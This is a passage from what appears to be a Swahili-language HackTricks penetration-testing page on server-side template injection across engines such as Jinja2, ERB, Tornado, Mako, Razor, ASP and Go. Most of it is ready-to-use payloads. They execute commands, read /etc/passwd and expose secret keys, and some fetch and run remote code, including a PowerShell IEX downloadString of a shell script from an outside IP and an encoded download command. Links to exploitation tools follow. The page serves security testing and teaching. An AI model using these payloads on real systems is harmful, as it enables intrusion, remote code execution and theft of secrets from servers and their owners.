const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
NodeJS Nyingine
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Taarifa zaidi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Maelezo zaidi
Ruby nyingine
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes katika Python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Taarifa zaidi
Jinja2 (Python)
Jinja2 ni engine ya template yenye vipengele kamili kwa Python. Ina msaada kamili wa Unicode, mazingira ya utekelezaji yaliyolindwa (sandboxed) kama chaguo, inatumiwa sana na ina leseni ya BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Muundo wa template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE haitegemei na __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Maelezo zaidi kuhusu jinsi ya kutumia vibaya Jinja:
Payloads nyingine zinapatikana katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Maelezo zaidi
Python Nyingine
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Unaweza kupata mfano wa webapp dhaifu katika https://github.com/cnotin/RazorVulnerableApp
Maelezo zaidi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Taarifa Zaidi
.Net Kuepuka vizuizi
Mekanizimu za .NET Reflection zinaweza kutumika kuepuka blacklisting au classes zisizokuwepo katika assembly. DLL’s zinaweza kupakiwa wakati wa runtime kwa methods na properties zinazopatikana kutoka kwa basic objects.
DLL’s zinaweza kupakiwa na:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Utekelezaji kamili wa amri:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Taarifa Zaidi
Mojolicious (Perl)
Hata ikiwa ni perl, inatumia tagi kama ERB katika Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Katika injini ya template ya Go, uthibitisho wa matumizi yake unaweza kufanywa na payloads maalum:
{{ . }}: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa object yenye sifa yaPassworditapitishwa,{{ .Password }}inaweza kuifichua.{{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.{{html "ssti"}},{{js "ssti"}}: Payloads hizi zinapaswa kurudisha “ssti” bila kuongeza “html” au “js”. Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Kwa package text/template, XSS inaweza kuwa rahisi kwa kuweka payload moja kwa moja. Kwa upande mwingine, package html/template inafanya encoding ya majibu ili kuzuia hili (mfano, {{"<script>alert(1)</script>"}} inaleta <script>alert(1)</script>). Hata hivyo, uainishaji na utiwaji wa template katika Go unaweza kuepuka encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Nakili msimbo
RCE Exploitation
RCE exploitation inatofautiana sana kati ya html/template na text/template. Module text/template inaruhusu kuita any public function moja kwa moja (kutumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Documentation for these modules is available here for html/template and here for text/template.
Kwa RCE kupitia SSTI katika Go, methods za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayoendesha amri, inaweza kutumika kama {{ .System "ls" }}. Kuingia kwenye source code kwa kawaida kunahitajika ili kuweza kuiexploit, kama kwenye mfano uliotolewa:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Taarifa zaidi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ni pre-processor maarufu wa CSS anayeeongeza variables, mixins, functions na directive yenye nguvu ya @import. Wakati wa kompilesheni, engine ya LESS itafanya kuchukua rasilimali zilizorejelewa katika @import statements na kuingiza (“inline”) yaliyomo yao ndani ya CSS inayotokana wakati chaguo la (inline) linapotumika.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Zaidi ya Exploits
Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za tags zenye kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Msaada unaohusiana
Kama unafikiri inaweza kuwa muhimu, soma:
Zana
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Marejeo
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


